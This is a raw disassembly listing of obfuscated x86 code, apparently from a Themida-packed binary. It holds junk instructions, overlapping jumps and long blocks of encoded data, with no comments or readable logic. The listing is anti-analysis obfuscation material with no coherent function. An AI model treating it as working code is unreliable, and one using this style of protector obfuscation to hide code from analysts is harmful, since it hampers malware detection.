		dd 0CD6F04B2h, 36693C56h
; ---------------------------------------------------------------------------
		add	al, 0A3h


loc_60FE2E:				; CODE XREF: sub_60FDE8+35j
		popa
		push	edi
		pop	edi
		ja	loc_60FE40
		pusha
		push	ecx
		pop	esi
		or	bx, 52Ah
		popa


loc_60FE40:				; CODE XREF: sub_60FDE8+49j
		sub	ah, 8Eh
		push	edx
		jmp	loc_60FE59
; ---------------------------------------------------------------------------
		or	al, 0B3h
		sti
		dec	esp
		pop	edx
		mov	bl, 0E9h
		sub	eax, 2F872762h
		sar	eax, 1
		pop	ebp
		scasb


loc_60FE59:				; CODE XREF: sub_60FDE8+5Cj
		pop	edx
		jmp	loc_60FE6D
; ---------------------------------------------------------------------------
		db 28h
		dd 0AB2ED5B2h, 0C1EE25DEh, 0D7E8DA52h
		db 0E9h
; ---------------------------------------------------------------------------


loc_60FE6D:				; CODE XREF: sub_60FDE8+72j
		ja	loc_60FE7D
		jmp	loc_60FE7D
; ---------------------------------------------------------------------------
		or	al, 0B6h
		ror	byte ptr [eax+2Eh], 1


loc_60FE7D:				; CODE XREF: sub_60FDE8:loc_60FE6Dj
					; sub_60FDE8+8Bj
		jmp	loc_60FE90
; ---------------------------------------------------------------------------
		dw 0BCA3h
		dd 6052F717h, 453C52BBh, 0C2F1CD20h
; ---------------------------------------------------------------------------


loc_60FE90:				; CODE XREF: sub_60FDE8:loc_60FE7Dj
		add	ch, 0AEh
		mov	bx, 0CE5Eh
		pusha
		movzx	eax, ax
		sub	eax, 47DACB89h
		popa
		jnp	loc_60FEAA
		push	eax
		pop	ecx


loc_60FEAA:				; CODE XREF: sub_60FDE8+BAj
		jg	loc_60FEB2
		mov	bh, 20h


loc_60FEB2:				; CODE XREF: sub_60FDE8:loc_60FEAAj
		call	near ptr loc_60FEC0+6
		cli
		test	[ecx-0EA6D82Ch], ah
		mov	dh, 0A3h


loc_60FEC0:				; CODE XREF: sub_60FDE8:loc_60FEB2p
		or	dword ptr ds:0BE6DAD8h,	0FFFFFFE9h
sub_60FDE8	endp ; sp-analysis failed

		adc	al, 0
; ---------------------------------------------------------------------------
		db 2 dup(0), 99h
; ---------------------------------------------------------------------------
		and	dh, ah
		xchg	eax, edx
		jmp	dword ptr ss:[esi-69119FC1h]
; ---------------------------------------------------------------------------
		inc	esi
		mov	ebp, 0AD506A61h
		adc	eax, 605F6F45h
		pusha
		jmp	loc_60FEF5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------
		push	eax
		lods	dword ptr ss:[esi]
		stosd
		pop	ss
		sbb	al, 84h
		rcr	dword ptr [edi], cl
		retn
; ---------------------------------------------------------------------------
		dw 0F906h
		db 0
; ---------------------------------------------------------------------------


loc_60FEF5:				; CODE XREF: Themida_:0060FEE2j
		popa
		mov	eax, ecx
		popa
		jnb	loc_60FF05
		pusha
		movsx	ecx, si
		cld
		popa


loc_60FF05:				; CODE XREF: Themida_:0060FEF9j
		mov	dl, 0EEh
		cld
		clc
		sbb	ecx, 43824B61h
		mov	ebx, edi
		push	edx
		movzx	eax, dx
		pop	ebx
		stc
		xor	ah, 10h


loc_60FF1A:				; CODE XREF: Themida_:0060FF7Fj
		mov	dl, 29h
		mov	ax, cx
		mov	bl, 1Fh
		or	si, 0AFE6h
		push	esi
		pusha
		cmc
		popa
		pop	edx
		push	esi


loc_60FF2C:				; CODE XREF: Themida_:0060FF66j
		mov	ah, 0B0h
		pop	edi
		or	cl, 0Bh
		jmp	loc_60FF41
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0A5CC6A15h, 0E9396BD6h
		db 3Bh
; ---------------------------------------------------------------------------


loc_60FF41:				; CODE XREF: Themida_:0060FF32j
		mov	ecx, edi
		jp	loc_60FF51
		jbe	loc_60FF51
		pusha
		popa


loc_60FF51:				; CODE XREF: Themida_:0060FF43j
					; Themida_:0060FF49j
		or	bx, 0F8CDh
		jmp	loc_60FF69
; ---------------------------------------------------------------------------
		db 66h
; ---------------------------------------------------------------------------
		cmp	ah, [edx-6F03A29Ah]
		aaa
		lahf
		push	esp
		sti
		jg	short loc_60FF2C
		scasd


loc_60FF69:				; CODE XREF: Themida_:0060FF56j
		jmp	loc_60FF74
; ---------------------------------------------------------------------------
		dw 0BD72h
; ---------------------------------------------------------------------------
		cmc
		sti
		jle	short loc_60FF87


loc_60FF74:				; CODE XREF: Themida_:loc_60FF69j
		jmp	loc_60FF89
; ---------------------------------------------------------------------------
		db 6Eh,	0E9h, 92h
; ---------------------------------------------------------------------------
		fldenv	byte ptr [eax-48h]
		jmp	short loc_60FF1A
; ---------------------------------------------------------------------------
		db 0D6h, 77h, 0FAh
		db 6Fh,	2 dup(0E3h)
; ---------------------------------------------------------------------------


loc_60FF87:				; CODE XREF: Themida_:0060FF72j
		mov	bh, 0C9h


loc_60FF89:				; CODE XREF: Themida_:loc_60FF74j
		push	eax
		cmc
		pop	ecx
		mov	ebx, 5C45AAD6h
		jle	loc_60FF9C
		mov	ecx, 73A2DB1Ah


loc_60FF9C:				; CODE XREF: Themida_:0060FF91j
		movzx	ecx, dx
		mov	bh, 0E3h
		push	ebx
		mov	ch, ah
		pop	edx
		mov	esi, 26DEB2F9h
		push	ebx
		mov	di, 0B93Fh
		pop	ebx
		jnb	$+6
		push	edx
		push	edx
		mov	bx, si
		pop	edx
		pop	ebx
		jmp	loc_60FFCA
; ---------------------------------------------------------------------------
		dw 2543h
		dd 9EB3C1B1h
		db 86h,	9Ch
; ---------------------------------------------------------------------------


loc_60FFCA:				; CODE XREF: Themida_:0060FFBDj
		mov	ebx, edx
		mov	si, ax
		push	edi
		movsx	eax, dx
		pop	ebx
		xor	dx, 9DCh
		mov	ecx, ebx
		sbb	cx, 7BD5h
		jb	loc_60FFED
		jz	loc_60FFED
		cld


loc_60FFED:				; CODE XREF: Themida_:0060FFE0j
					; Themida_:0060FFE6j
		sub	ecx, 4B9088D3h
		adc	edx, 181B59F9h
		mov	ecx, esi
		jmp	loc_610007
; ---------------------------------------------------------------------------
		dd 9BEA95A9h
		db 80h,	0A6h, 6Ah
; ---------------------------------------------------------------------------


loc_610007:				; CODE XREF: Themida_:0060FFFBj
		jmp	loc_61001A
; ---------------------------------------------------------------------------
		dd 75086E98h, 2764797h,	88101048h
		db 6, 0A0h
; ---------------------------------------------------------------------------


loc_61001A:				; CODE XREF: Themida_:loc_610007j
		or	di, 0DA74h
		cld
		jge	loc_61002B
		push	ecx
		mov	di, bx
		pop	esi


loc_61002B:				; CODE XREF: Themida_:00610020j
		movsx	edi, di
		jle	loc_610041
		pusha
		sub	ecx, 6FC07752h
		xor	si, 9A9Ah


loc_610040:				; CODE XREF: Themida_:00610094j
		popa


loc_610041:				; CODE XREF: Themida_:0061002Ej
		jmp	loc_610053
; ---------------------------------------------------------------------------
		dw 9DF7h
		dd 43E2C83Bh, 2FB799EAh
		db 1, 0CFh, 0EDh
; ---------------------------------------------------------------------------


loc_610053:				; CODE XREF: Themida_:loc_610041j
		and	eax, 63CC8938h
		jge	$+6
		mov	ax, si
		stc
		xor	di, 382Ch
		mov	dh, ch
		sub	si, 9F8Eh
		mov	dl, 32h
		adc	si, 9C13h
		and	dl, 0F0h
		mov	ecx, 27E02300h
		cld
		movsx	ebx, si
		cmc
		sbb	bl, 0D3h
		jg	loc_6100A2
		jmp	loc_6100A2
; ---------------------------------------------------------------------------
		db 91h,	56h, 0E8h
; ---------------------------------------------------------------------------
		jecxz	short loc_610040
		retn	5429h
; ---------------------------------------------------------------------------
		db 1Dh,	79h, 0BCh
; ---------------------------------------------------------------------------
		add	eax, 0E1113358h
		inc	eax


loc_6100A2:				; CODE XREF: Themida_:00610086j
					; Themida_:0061008Cj
		cmc
		add	cl, 0DCh
		jmp	loc_6100B7
; ---------------------------------------------------------------------------
		db 23h
		dd 4B8D658Ch, 0DA395AD2h
		db 8Dh,	0FAh, 0CDh
; ---------------------------------------------------------------------------


loc_6100B7:				; CODE XREF: Themida_:006100A6j
		jnz	loc_6100D0
		ja	loc_6100D0
		call	sub_6100CF
		add	[edi+esi*8+26498819h], al

; =============== S U B	R O U T	I N E =======================================



sub_6100CF	proc near		; CODE XREF: Themida_:006100C3p
		pop	eax


loc_6100D0:				; CODE XREF: Themida_:loc_6100B7j
					; Themida_:006100BDj
		mov	di, 0C3Eh
		or	edi, 71AB55C1h
		call	sub_6100F1
		lds	ebp, [ecx]
		cmc
		iret
sub_6100CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 91h
		dd 0E4979CF7h, 0DE31CB4Bh, 0C6C7D9D3h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================



sub_6100F1	proc near		; CODE XREF: sub_6100CF+Bp
		pop	esi
		jmp	loc_6100FE
; ---------------------------------------------------------------------------
		db 0ECh
		dd 125EECA1h
		db 0B9h, 13h
; ---------------------------------------------------------------------------


loc_6100FE:				; CODE XREF: sub_6100F1+1j
		jmp	loc_610110
; ---------------------------------------------------------------------------
		db 99h
		dd 76E70535h, 0A3E9F1E2h, 0A3DCEADCh
; ---------------------------------------------------------------------------


loc_610110:				; CODE XREF: sub_6100F1:loc_6100FEj
		pusha
		push	edx
		or	cx, 0B9A1h
		pop	ebx
		popa
		jmp	loc_610132
; ---------------------------------------------------------------------------
		dw 0FE33h
		dd 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh
; ---------------------------------------------------------------------------
		das
		inc	ebx


loc_610132:				; CODE XREF: sub_6100F1+28j
		movsx	ecx, ax
		add	di, 0F91Eh
		call	near ptr sub_61014D
		mov	esi, ecx
		adc	cl, cl
		pop	ecx
		mulss	xmm1, dword ptr	[ecx+1AA508BEh]	; CODE XREF: sub_610178+1Aj
		pop	ebx
sub_6100F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_61014D	proc far		; CODE XREF: sub_6100F1+49p
		sbb	edi, 5D5D8624h
		pop	ebx
		mov	ebx, 402C5513h
		pusha
		or	eax, 10E30524h
		call	sub_610178
		mov	[ecx+edx*4-12h], dh
		cmc
		outsb
		and	eax, [ebp+6Dh]
		lahf
		retf	0BDA9h
sub_61014D	endp

; ---------------------------------------------------------------------------
		dw 85BAh
		dd 0B61F2027h

; =============== S U B	R O U T	I N E =======================================



sub_610178	proc near		; CODE XREF: sub_61014D+13p
		jge	$+6
		pop	esi
		popa
		mov	ecx, 571F70BFh
		pusha
		call	near ptr loc_610194+1
		add	dl, ds:0AE0E5344h
		std
		jb	short near ptr loc_610144+1


loc_610194:				; CODE XREF: sub_610178+Ep
		xor	[ecx-1553EB21h], al
sub_610178	endp ; sp-analysis failed

		cmp	bl, [ecx+0Fh]
		mov	dl, [edx]
; ---------------------------------------------------------------------------
		db 0
		dd 0CE80000h, 4D000000h, 6C7A8B4Dh, 9B350F7Fh, 5804CD05h
		dd 0E860F561h, 8, 0BC55CB5Fh, 394290C1h, 615E5E57h, 0BA6FF480h
		dd 596AA9E5h, 0CE9h, 6142A800h,	0C3240901h, 2D0E5075h
		dd 3840F41h, 66000000h,	0E960F38Bh, 5, 20AA096Fh, 8B0F53B8h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		popa
		sub	cl, 6
		sbb	bl, 16h
		mov	eax, edi
		mov	edi, 93A57F3h
		cld
		mov	eax, ebx
		stc
		jmp	loc_610221
; ---------------------------------------------------------------------------
		dd 89DF5303h
; ---------------------------------------------------------------------------


loc_610218:				; CODE XREF: Themida_:loc_610235j
		hlt
; ---------------------------------------------------------------------------
		mov	bl, 0C3h
		cli
		and	esi, [ecx-12h]
		xchg	eax, ebp
		dec	ecx


loc_610221:				; CODE XREF: Themida_:0061020Fj
		movsx	eax, si
		clc
		mov	dl, 0E5h
		call	near ptr loc_61023B+3
		js	short loc_610235
		push	221680ABh
		wait
		pop	eax


loc_610235:				; CODE XREF: Themida_:0061022Cj
		jns	short loc_610218
		cwde
		db	26h
		or	al, 0ECh


loc_61023B:				; CODE XREF: Themida_:00610227p
		sbb	ecx, [edx+edi*8-80h]
		in	eax, dx
		inc	ebx
		pop	esi
		mov	ax, bx
		adc	ebx, 2CBA5367h
		mov	ax, 0C1F6h
		pusha
		mov	edi, ebx
		adc	edi, 7F3505DFh
		popa
		mov	eax, 2D0D3DF8h
		jmp	loc_61026E
; ---------------------------------------------------------------------------
		db 0B2h
		dd 63F6E873h, 0DB42AAh
		db 97h,	28h
; ---------------------------------------------------------------------------


loc_61026E:				; CODE XREF: Themida_:0061025Ej
		mov	si, 0F30Ah
		cmc
		cmc
		pusha
		call	sub_610280
; ---------------------------------------------------------------------------
		or	ebx, 1D8558C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_610280	proc near		; CODE XREF: Themida_:00610275p
		mov	ch, 90h
		pop	ecx
		mov	eax, esi
		popa
		movzx	ebx, di
		mov	si, cx
		movsx	ebx, cx
		call	sub_6102A5
		mov	eax, 82691097h
		aas
		lodsb
		cmc
		hlt
sub_610280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 1Fh,	3Ah, 31h
		dd 0BD5E511Fh
		db 89h

; =============== S U B	R O U T	I N E =======================================



sub_6102A5	proc near		; CODE XREF: sub_610280+Fp
		or	bl, 6Eh
		pop	edi
		adc	dl, 0C0h
		jmp	loc_6102B9
; ---------------------------------------------------------------------------
		db 1Eh,	0E0h, 0A6h
		dd 37FB4C4Ah
		db 20h
; ---------------------------------------------------------------------------


loc_6102B9:				; CODE XREF: sub_6102A5+7j
		and	ebx, 1D719F88h
		sub	bx, 475Ah
		mov	bx, 5B1Bh
		mov	ah, 2
		mov	ebx, edi
		push	ebx
		jno	loc_6102D9
		sbb	esi, 13B42197h


loc_6102D9:				; CODE XREF: sub_6102A5+28j
		pop	esi
		mov	al, 0F0h
		movsx	eax, dx
		jnz	$+6
		call	near ptr loc_6102F8+4
		push	ebx
		push	ecx
		stosb
		sbb	[edi-4], dh
		repne leave
		stc
		icebp
		push	esi
		mov	[edi+eax], bl


loc_6102F8:				; CODE XREF: sub_6102A5+40p
		fsubr	qword ptr [esi-4099F83Dh]
sub_6102A5	endp ; sp-analysis failed

		pop	edx
		mov	edx, 0F38B665Ah
		mov	di, si
		mov	ah, 6Ah
		xor	al, 0E0h
		jmp	loc_610318
; ---------------------------------------------------------------------------
		mov	edx, 5FF4B5A4h
		xchg	eax, edx
		aas


loc_610318:				; CODE XREF: Themida_:0061030Cj
		mov	edx, 51C0127Eh
		mov	bx, dx
		adc	cx, 75F1h
		mov	esi, ebx
		mov	ecx, 45806BEEh
		call	sub_61033B
		mov	edi, 0F70890E7h


loc_610336:				; CODE XREF: Themida_:0061035Dj
		mov	ebp, 0E684C168h

; =============== S U B	R O U T	I N E =======================================



sub_61033B	proc near		; CODE XREF: Themida_:0061032Cp
		pusha
		mov	ecx, eax
		mov	si, dx
		popa
		pop	ebx
		jnb	loc_610364
		call	sub_610361
		shl	dword ptr [edx], 8Ch
		cli
		mov	dh, 0A6h
		lock xchg eax, edi
		sbb	dl, bl
		cmpsb
		lodsb
		jb	short loc_6103C6
		retn
sub_61033B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jecxz	short loc_610336
		cmp	bh, [ecx]

; =============== S U B	R O U T	I N E =======================================



sub_610361	proc near		; CODE XREF: sub_61033B+Ep
		push	ecx
		pop	edi
		pop	esi


loc_610364:				; CODE XREF: sub_61033B+8j
		movsx	esi, ax
		mov	edi, edx
		mov	di, si
		adc	si, 0CDBAh
		mov	eax, edx
		jmp	loc_610381
; ---------------------------------------------------------------------------
		dd 66A873Ch, 6ECF2C72h
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_610381:				; CODE XREF: sub_610361+12j
		adc	cx, 8D4Eh
		movzx	eax, ax
		stc
		and	ch, 0F4h
		mov	esi, 5A5AD5BEh
		movzx	esi, dx
		jnz	loc_6103A6
		jnz	loc_6103A6
		mov	esi, 2AD0D8DDh


loc_6103A6:				; CODE XREF: sub_610361+34j
					; sub_610361+3Aj
		pusha
		mov	ax, 0F00Bh
		mov	si, 0A289h
		popa
		mov	si, 19Eh
		jbe	loc_6103CD
		jmp	loc_6103CD
; ---------------------------------------------------------------------------
		sub	al, 9Ch
		mov	edx, 0DC9CE4Eh


loc_6103C6:				; CODE XREF: sub_61033B+1Fj
		db	36h
		inc	eax
		add	[edx+49h], al
		fcom	dword ptr [esi]


loc_6103CD:				; CODE XREF: sub_610361+53j
					; sub_610361+59j
		sub	edx, 7C99DBD3h
		sub	ecx, 4175E53Ah
		mov	ebx, edi
		jg	$+6
		mov	ecx, 6B5E0DA4h
		sub	ebx, 717710C7h
		mov	ax, bx
		mov	ebx, 5FEE12ACh
		mov	ah, cl
		add	cx, 2ACAh
		cld
		jmp	loc_610414
; ---------------------------------------------------------------------------
		db 29h,	0A8h, 64h
		dd 0F0873248h, 130CDBCEh, 80C38139h, 821523Eh
; ---------------------------------------------------------------------------


loc_610414:				; CODE XREF: sub_610361+9Bj
		mov	di, 4569h
		jge	$+6
		mov	di, 26FEh
		mov	cl, 17h
		call	near ptr loc_610431+1
		scasd
		add	eax, 0A39E46A9h
		stosd
		std


loc_610431:				; CODE XREF: sub_610361+C3p
		sub	eax, 5FC28B66h
sub_610361	endp ; sp-analysis failed

		mov	dl, ah
		mov	bl, 0Eh
		jle	loc_610443
		mov	dx, ax


loc_610443:				; CODE XREF: Themida_:0061043Aj
		and	edi, 1F076C48h
		jmp	loc_610461
; ---------------------------------------------------------------------------
		and	al, 0BEh
		std
		retn	5FF2h
; ---------------------------------------------------------------------------
		dd 0DA336B00h
		db 0EFh, 30h, 2Dh
; ---------------------------------------------------------------------------


loc_61045B:				; CODE XREF: Themida_:loc_61045Ej
		xor	dword ptr [edi], 18h


loc_61045E:				; CODE XREF: Themida_:006104B7j
		jp	short loc_61045B
; ---------------------------------------------------------------------------
		db 15h
; ---------------------------------------------------------------------------


loc_610461:				; CODE XREF: Themida_:00610449j
		cld
		push	edi
		mov	ax, 47AEh
		pop	edx
		pusha
		jmp	loc_610477
; ---------------------------------------------------------------------------
		dw 518Fh
		dd 6CC51EAEh
		db 30h,	0E0h, 78h
; ---------------------------------------------------------------------------


loc_610477:				; CODE XREF: Themida_:00610469j
		mov	ebx, ecx
		popa
		or	dl, 4
		movsx	edx, cx
		xor	si, 0E0F4h
		pusha
		jmp	loc_610496
; ---------------------------------------------------------------------------
		db 72h
		dd 65EE01ECh, 3591FD87h
		db 8Dh,	1Bh
; ---------------------------------------------------------------------------


loc_610496:				; CODE XREF: Themida_:00610486j
		mov	di, dx
		popa
		stc
		mov	esi, 0FCF6312h
		pusha
		mov	di, 0AF49h
		or	ecx, 34E5C864h
		popa
		or	esi, 618D9119h
		call	sub_6104C0
		jns	short loc_61045E
		icebp
		sub	ch, [ecx+24h]
		and	edi, ebx
		pop	esp

; =============== S U B	R O U T	I N E =======================================



sub_6104C0	proc near		; CODE XREF: Themida_:006104B2p
		sub	cl, 26h
		pop	ebx
		mov	di, ax
		mov	bx, si
		mov	cx, bx
		mov	edi, eax
		adc	esi, 459E4D17h
		jno	loc_6104E0
		mov	edi, 5942C5E5h


loc_6104E0:				; CODE XREF: sub_6104C0+15j
		mov	edx, 4B0E5266h
		mov	ah, 0AEh
		call	near ptr loc_6104FC+1
		jnp	short near ptr loc_61055D+2
		test	dl, 4Ah
		fsub	st, st(1)
		dec	ecx
		mov	ebp, 0C2FFB29Ah
		insb
		cmpsd
		out	dx, al


loc_6104FC:				; CODE XREF: sub_6104C0+27p
		xor	eax, [ecx-331072Fh]
sub_6104C0	endp ; sp-analysis failed

		aas
		pop	edx
		jmp	loc_610517
; ---------------------------------------------------------------------------
		db 0E9h, 2Bh, 0ADh
		dd 2576E00Eh, 0E5992836h
		db 0F9h, 0E5h, 19h
; ---------------------------------------------------------------------------


loc_610517:				; CODE XREF: Themida_:00610504j
		jmp	loc_61052D
; ---------------------------------------------------------------------------
		dd 127D40E9h, 3CF8FAD6h, 0CF1944ABh, 99EDC475h
		db 0B0h
; ---------------------------------------------------------------------------


loc_61052D:				; CODE XREF: Themida_:loc_610517j
		mov	si, di
		sbb	dx, 0AFAFh
		pusha
		jz	loc_61053E
		mov	edi, ecx


loc_61053E:				; CODE XREF: Themida_:00610536j
		mov	ebx, 5964BEA2h
		popa
		mov	bx, 3D47h
		mov	edi, 2D4C7965h
		mov	edx, ecx
		or	ecx, 2A3C8E00h
		mov	cx, ax
		call	near ptr loc_610569+1


loc_61055D:				; CODE XREF: sub_6104C0+2Cj
		shr	byte ptr [ecx-685E26EBh], cl
		rol	dword ptr [eax-39h], cl
		aaa
		int	3		; Trap to Debugger
		pusha


loc_610569:				; CODE XREF: Themida_:00610558p
		mov	ch, 0Fh
		mov	es, word ptr [ebx]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 5EF6BF0Fh, 0A4E18166h, 4840F37h, 66000000h, 0B114B6BFh
		dd 816050C3h, 592923CEh, 13E834h, 0AAB70000h, 2DEFE4Eh
		dd 44E5F2A0h, 5A9089A3h, 2F27FAFFh, 59615871h, 5ED98A51h
		dd 60F8BF0Fh, 0F57C28Bh, 88h, 81615800h, 40F5CCD8h, 0E8EE8026h
		dd 0EE8h, 636A1200h, 3BACB7Eh, 884A9A65h, 80152240h, 0F5F50CBh
		dd 388h, 0FFBF0F00h, 11E9h, 0A1871900h,	6A6CD7F5h, 65DE6B3Dh
		dd 0A50910F7h, 7E80E41h, 0B3000000h, 0C6BD5DC1h, 6058E919h
		dd 17ABBB66h, 0F61CF8Bh, 1389h,	0BE800h, 2EEA0000h, 0E0598472h
		dd 0B185F4CBh, 5A6160A1h, 55BB6660h, 0D08B6629h, 0BFCCB761h
		dd 73193DAFh, 2810Fh, 0D18B0000h, 7E8h,	323DFB00h, 6455036Ah
		dd 59D2B70Fh, 7860Fh, 0B9530000h, 713A8407h, 0D08B5259h
		dd 0C081665Ah, 0BB66B5D3h, 890F5240h, 3, 57D6B70Fh, 5922D580h
		dd 6840Fh, 0F3810000h, 0F656C1Bh, 0F60D08Bh, 0F553F3BFh
		dd 0BF0F615Ah, 1DBE66F2h, 0A8D8818Ah, 0F68F97Ch, 0E780CBB7h
		dd 0F7816614h, 0FE90E03h, 0E7000000h, 821D5FA5h, 89967BEBh
		dd 71C3C0CDh, 13E8B28Eh, 0A8000000h, 0A289B513h, 5D117713h
		dd 0BF0AB38Dh, 68C512B2h, 11E95179h, 10000000h,	1970CA54h
		dd 0E1783763h, 0A526B3E9h, 0E9EB28E8h, 0EFC1815Eh, 0E825A557h
		dd 9, 87906C25h, 9B5E077Eh, 5EC1B194h, 0C28BE58Ah, 1342D5B8h
		dd 0CE92Ah, 7A1D0000h, 8B0AB70Eh, 1A7B5E9h, 8B66E217h
		dd 0C68166FAh, 5E8F84Fh, 18000000h, 0F63F8CFDh,	58D38B66h
		dd 0DBE66F5h, 0EE8CAh, 6E610000h, 37349FD7h, 2A2AC893h
		dd 0FB88CB74h, 2820Fh, 61600000h, 0BF0FF55Fh, 0CD8050CEh
		dd 0B4BA582Fh, 0B96B68CAh, 2F897FDEh, 66F6BF0Fh, 4470F181h
		dd 0E9CBB70Fh, 8, 75115F49h, 0E1FB36F6h, 66F8F480h, 0D38DD181h
		dd 8E8h, 0A579D400h, 24692AF1h,	0CFBF0F23h, 0B880F58h
		dd 0E9000000h, 6, 0B37DD362h, 0E380B3FAh, 0DE89Fh, 0A8A00000h
		dd 0CABCC825h, 3CCB2848h, 0E8C4820Ch, 8, 26366B15h, 8E3E682h
		dd 52E28166h, 53585AC6h, 0CC5ECB81h, 0E95E3AC7h, 8, 0B545BBF9h
		dd 9F1F3FABh, 66DEB70Fh, 0BB66F28Bh, 8B667662h,	1D8A0FC7h
		dd 0F000000h, 178Ah, 12E900h, 0E72F0000h, 952F8B40h, 75300710h
		dd 95C511CFh, 58F2057Eh, 12E9FCh, 3FBF0000h, 0B49C66C3h
		dd 0D8B6A48Dh, 3EA6CCFDh, 179C7738h, 0A64BB66h,	10E9h
		dd 792F3F00h, 8BE9A93Eh, 0C345F106h, 74AF2D24h,	0D081663Eh
		dd 0EE908D3h, 0A4000000h, 0D7E55712h, 334BEC5Ch, 0B958DBBAh
		dd 0DF97BA79h, 26BE0A19h, 8B1669F9h, 3451B9C2h,	0BF0F1198h
		dd 5E8F9h, 0C0430000h, 0E9141319h, 10h,	0E22CB7D0h, 3668CC3Fh
		dd 0E0778C35h, 0F7EA1979h, 138D0F5Ah, 0E9000000h, 0Eh
		dd 246ABDD9h, 7B447DAAh, 0E9FFDFD9h, 890F5DB1h,	1, 5E960F9h
		dd 51000000h, 0E0B5F879h, 5E9h,	529BCC00h, 6661595Ch, 7AB9F28Bh
		dd 0BF12734Bh, 0BCFAEC6h, 11E9h, 45D93100h, 3E87D03Bh
		dd 9120E2Fh, 0C00C5A17h, 0F8F93E48h, 12E9h, 411B4F00h
		dd 56D4EAA4h, 0CE257EB5h, 8EE952B6h, 0E97CBCDAh, 0Dh, 1DF81138h
		dd 485BA135h, 9829FE73h, 0C2BF0FDEh, 0DC00E081h, 0A0BA157Eh
		dd 80744BE8h, 8A0F55CDh, 0Bh, 5800Fh, 81660000h, 66BBDED1h
		dd 0C0DBC881h, 66C38B66h, 66C272BBh, 0DCCEF781h, 38F0F50h
		dd 80000000h, 0E95E83EAh, 13h, 0CD1DC0A7h, 0AF92EF8Ch
		dd 0D7A9D423h, 54B357B0h, 66AD442Fh, 0BF66CB8Bh, 0D38BCD6Dh
		dd 66F18B66h, 0F030AB9h, 58Fh, 0D8816600h, 890F9574h, 11h
		dd 0FCBF6660h, 6E92Ah, 19290000h, 0E94D6B3Ah, 0DE9F861h
		dd 29000000h, 0A87D66C2h, 827E8878h, 0C78155CEh, 70C0BA66h
		dd 9E8h, 222AB000h, 7F34C727h, 0F5E4907h, 0C38BD2B7h, 0B8C0Fh
		dd 820F0000h, 5, 2A25D6B8h, 2850F14h, 8A000000h, 66EA8ACEh
		dd 0BAA8DE81h, 14E9CF8Bh, 79000000h, 0A5C16BDEh, 585E3289h
		dd 0B16EF3E2h, 0A280B7D4h, 60F5B4E4h, 6860Fh, 8F0F0000h
		dd 0
		dd 6196F580h, 5820Fh, 81660000h, 8B1D5FDEh, 0CEB70FCEh
		dd 9AB9F9F5h, 0B9414763h, 3B8B98ABh, 50515857h,	595A6160h
		dd 2F004BFh, 0FC48B725h, 0BDB7BF66h, 66F2BF0Fh,	0E8DFBABEh
		dd 0Ch,	0E95D563h, 0B1408D98h, 81A2B796h, 0C28B6658h, 2DF78166h
		dd 870F60E6h, 5, 98E78166h, 0DE96106h, 0B1000000h, 8003276Eh
		dd 43B44A7Eh, 0AFDC9694h, 0D380EE8Ah, 0C68B60DEh, 61C8BF0Fh
		dd 0EE8h, 440BB600h, 0AA37B579h, 0CD73ADCEh, 66297592h
		dd 0E858F98Bh, 11h, 304CD976h, 0A731D200h, 0C1F284DDh
		dd 0FF02776Eh, 0CE892h,	6D390000h, 51E4950Bh, 4727A295h
		dd 0B70FC3C6h, 0F95E5ED1h, 11E9F28Bh, 0D0000000h, 2E24EE5Eh
		dd 0C6E79584h, 73C3FA63h, 4FC9308Bh, 830Fh, 0BF0F0000h
		dd 816651DAh, 5BC7A4C7h, 0FCC7B70Fh, 3EB5C58Ah,	5EB96660h
		dd 10E85Bh, 3DFD0000h, 89AFB894h, 0DE044324h, 838B1488h
		dd 8B66E1F5h, 0BB615BCEh, 18DBD17Dh, 0EE9h, 0FC8F3900h
		dd 1DC7362Ah, 34EB65BAh, 669D83B3h, 0D88BC38Bh,	0D6D3B866h
		dd 0B1CA8B66h, 5E9DEh, 16B00000h, 0E9482112h, 8, 1836D5CAh
		dd 548A5133h, 38B0Fh, 0BF0F0000h, 0E18160C1h, 3EFF4F6Fh
		dd 8B665061h, 0E96058FBh, 12h, 58619B11h, 28E9F40Fh, 0D915A9D2h
		dd 40D397A1h, 0B86137C7h, 14F8FEBBh, 0FCF38B66h, 58535157h
		dd 830F5B5Eh, 8, 0CA8B6660h, 61C1BF0Fh,	7E9h, 3D9C700h
		dd 3983452h, 850F60h, 0F000000h, 487h, 0EFB96600h, 12E861C8h
		dd 0FD000000h, 6746F08Fh, 0D227C7B0h, 733E83BEh, 9B134694h
		dd 10E90Bh, 0A3340000h,	9DBD0A79h, 35A3C79h, 0DCAE7FC5h
		dd 0B2591C07h, 0DF8B6664h, 12E9h, 0BA6C4700h, 64D33BBEh
		dd 0A82460D5h, 7D43AB19h, 669490A3h, 665F35BBh,	8B66D38Bh
		dd 66F860FAh, 5173F781h, 32C08161h, 0E850AFAAh,	7, 21EC921Ah
		dd 0F1F2C22h, 0FC5EF0B7h, 14E8h, 0B7792600h, 15E72A8Fh
		dd 104F0CD7h, 0C75646B1h, 87AC51FDh, 2860F9Ah, 0B4000000h
		dd 0C7805F4Ah, 0C68B605Bh, 0A609B966h, 0D1BF0F61h, 0B966F5FCh
		dd 8166D378h, 0B2BD05DFh, 57D18AF4h, 0DAB70F59h, 0CAB70F60h
		dd 9E9h, 57E5D700h, 0DB19B88Eh,	80615671h, 0F68185DBh
		dd 36E95022h, 54E1F381h, 0BF0F29CFh, 58F951DEh,	92E7BE66h
		dd 0BF0F5953h, 80F8F9D9h, 81667FE9h, 0FEE30EEh,	1684h
		dd 0EE800h, 75E40000h, 0F517DA4Bh, 0ACE900EDh, 0B6CD4F7Fh
		dd 0E85B44B5h, 10h, 72B4DB16h, 0B09ED5E2h, 0A2848D94h
		dd 3138EC0h, 800Fh, 52580000h, 0F59CA8Bh, 6E8C8BFh, 0CF000000h
		dd 135270BDh, 91CA80E7h, 0E83EB35Fh, 7,	0CFB581B3h, 0B7876E51h
